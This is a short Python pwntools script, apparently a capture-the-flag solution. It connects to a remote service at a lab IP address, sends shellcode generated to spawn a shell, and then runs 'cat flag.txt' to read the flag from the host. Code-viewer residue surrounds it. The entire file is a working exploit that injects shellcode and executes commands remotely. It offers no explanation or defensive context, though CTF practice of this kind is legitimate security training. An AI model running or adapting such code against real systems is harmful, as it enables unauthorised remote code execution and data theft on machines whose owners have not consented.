21 lines
354 B
Python
21 lines
354 B
Python
#!/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.update(os="linux", arch="amd64", log_level="error")
|
|
r = remote("10.10.111.44", 9005)
|
|
|
|
payload = asm(shellcraft.sh())
|
|
|
|
r.recvuntil(b"Give me your shell, and I will execute it: \n")
|
|
|
|
r.sendline(payload)
|
|
|
|
r.recvuntil(b"Executing Spell...\n\n")
|
|
|
|
r.sendline(b"cat flag.txt")
|
|
|
|
print(r.recvline().decode())
|
|
|
|
r.close()
|